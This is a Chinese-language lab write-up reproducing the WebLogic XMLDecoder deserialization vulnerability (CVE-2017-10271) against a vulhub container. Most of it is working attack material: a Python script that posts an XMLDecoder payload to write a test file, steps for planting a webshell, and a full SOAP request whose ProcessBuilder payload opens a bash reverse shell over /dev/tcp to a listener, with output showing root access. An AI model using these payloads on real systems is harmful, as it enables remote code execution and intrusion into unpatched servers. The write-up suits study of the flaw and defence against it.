Weblogic复现之XML Decoder反序列化

(Updated: )
漏洞复现

前言

今天复现XML Decoder反序列化漏洞。

  • 涉及版本

    1
    2
    3
    10.3.6.0.0
    12.1.3.0.0
    12.2.1.1.0

  • 漏洞地址

    1
    2
    3
    4
    5
    6
    7
    8
    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11

复现攻击

简单的漏洞证明

  1. 检测漏洞

    检测脚本：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    import requests
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Upgrade-Insecure-Requests': '1',
        'Content-Type': 'text/xml'
        }
    def Webogic_XMLDecoder_poc(url):
        posturl=url+'/wls-wsat/CoordinatorPortType'
        data = '''
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.6.0" class="java.beans.XMLDecoder">
                        <object class="java.io.PrintWriter">
                            <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                            <string>xmldecoder_vul_test</string></void><void method="close"/>
                        </object>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
        </soapenv:Envelope>
        '''  
        print (url)
        try:
            r=requests.post(posturl,data=data,headers=headers,timeout=5)
            geturl=url+"/wls-wsat/test.txt"
            print (geturl)
            check_result = requests.get(geturl,headers=headers,timeout=5)
            if 'xmldecoder_vul_test' in check_result.text:
                print ("[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")
        except:
            print ("[-]不存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")
    if __name__ == '__main__':
        url = "http://192.168.220.141:7001" #目标url
        Webogic_XMLDecoder_poc(url)

    执行结果：

    1
    2
    3
    http://192.168.220.141:7001
    http://192.168.220.141:7001/wls-wsat/test.txt
    [+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)

  2. 写入webshell

    漏洞地址为：http://192.168.220.141:7001/wls-wsat/CoordinatorPortType

    burp抓包，转发到repeater下

    将GET变为POST，并将Webshell写下，点击Go按钮，

    访问http://192.168.220.141:7001/bea_wls_internal/test.jsp

    ![](Weblogic复现之XML Decoder反序列化/1.png)

反弹shell

  1. 漏洞检测

    工具利用： XML反序列化漏洞检查工具

    脚本利用： 上面的检测脚本

  2. burp抓包，转发到Repeater，攻击机开启端口监听

  3. 将GET改为POST，传入反弹shell脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.220.141:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: text/xml
    Content-Length: 645

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i >& /dev/tcp/192.168.220.141/4444 0>&1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

  4. 反弹shell成功！！！

    1
    2
    3
    4
    5
    6
    7
    8
    9
    root@localhost:vulhub/weblogic/CVE-2017-10271# nc -lvvp 4444
    Listening on [0.0.0.0] (family 0, port 4444)
    Connection from [172.21.0.2] port 4444 [tcp/*] accepted (family 2, sport 45968)
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@f84f979b36de:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
    <Middleware/user_projects/domains/base_domain# whoami                        
    root
    root@f84f979b36de:~/Oracle/Middleware/user_projects/domains/base_domain#